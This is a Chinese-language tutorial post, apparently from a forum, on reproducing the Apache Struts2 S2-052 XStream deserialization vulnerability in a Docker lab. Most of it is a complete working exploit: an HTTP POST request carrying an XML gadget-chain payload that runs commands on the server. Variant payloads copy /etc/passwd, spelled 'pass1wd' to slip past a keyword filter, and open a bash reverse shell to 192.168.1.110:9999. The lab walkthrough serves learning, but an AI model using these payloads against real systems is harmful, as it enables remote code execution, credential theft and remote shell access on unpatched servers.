在网上看了其他人复现的例子,方法,步骤都是对的,但是失败了
原因,不知道是不是原作者所写,总之,字符编码有问题,这种问题有可能是复制粘贴才会出现
其中s2-052,最重要的一点没有提及,就是
Content-Type: application/xml 这句话没有提及。
第一步,抄刀来做,docker 下载镜像
- docker pull medicean/vulapps:s_struts2_s2-052
复制代码 第二步,启动环境
- docker run -d -p 80:8080 -v /tmp/:/tmp/ medicean/vulapps:s_struts2_s2-052
复制代码 第三步,访问http://IP地址:8080 即可看到如下图所示
第四步,使用brupsuite抓包,记得修改成post方式
- POST /orders HTTP/1.1
- Host: localhost
- User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: en-US,en;q=0.5
- Cookie: JSESSIONID=CB2AC06815FE6EF6A926D85DA7ECE876
- Connection: close
- If-None-Match: 1297469393
- Content-Length: 2409
- Content-Type: application/xml
- <map>
- <entry>
- <jdk.nashorn.internal.objects.NativeString>
- <flags>0</flags>
- <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
- <dataHandler>
- <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
- <is class="javax.crypto.CipherInputStream">
- <cipher class="javax.crypto.NullCipher">
- <initialized>false</initialized>
- <opmode>0</opmode>
- <serviceIterator class="javax.imageio.spi.FilterIterator">
- <iter class="javax.imageio.spi.FilterIterator">
- <iter class="java.util.Collections$EmptyIterator"/>
- <next class="java.lang.ProcessBuilder">
- <command>
- <string>touch</string>
- <string>/tmp/nvhack.com.txt</string>
- </command>
- <redirectErrorStream>false</redirectErrorStream>
- </next>
- </iter>
- <filter class="javax.imageio.ImageIO$ContainsFilter">
- <method>
- <class>java.lang.ProcessBuilder</class>
- <name>start</name>
- <parameter-types/>
- </method>
- <name>foo</name>
- </filter>
- <next class="string">foo</next>
- </serviceIterator>
- <lock/>
- </cipher>
- <input class="java.lang.ProcessBuilder$NullInputStream"/>
- <ibuffer/>
- <done>false</done>
- <ostart>0</ostart>
- <ofinish>0</ofinish>
- <closed>false</closed>
- </is>
- <consumed>false</consumed>
- </dataSource>
- <transferFlavors/>
- </dataHandler>
- <dataLen>0</dataLen>
- </value>
- </jdk.nashorn.internal.objects.NativeString>
- <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
- </entry>
- <entry>
- <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
- <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
- </entry>
- </map>
复制代码
以上代码,<map>...</map> 为post请求参数,其中注意,请求头中添加:Content-Type: application/xml
在<map>...</map>中执行命令的代码是:
- <command>
- <string>touch</string>
- <string>/tmp/nvhack.com.txt</string>
- </command>
复制代码 执行成功后,可以 :cat /tmp/nvhack.com.txt 发现存在这个文件了
当然你也可以执行其他命令,如:
- <command>
- <string>cp</string>
- <string>/etc/pass1wd</string>
- <string>/tmp/pass1wd</string>
- </command>
复制代码 反弹shell
- <command>
- <string>bash</string>
- <string>-c</string>
- <string>bash -i >& /dev/tcp/192.168.1.110/9999 0>&1</string>
- </command>
复制代码
由于服务器对关键字的限制,以上代码中的
pass1wd 为passwd
请自行修改
,
|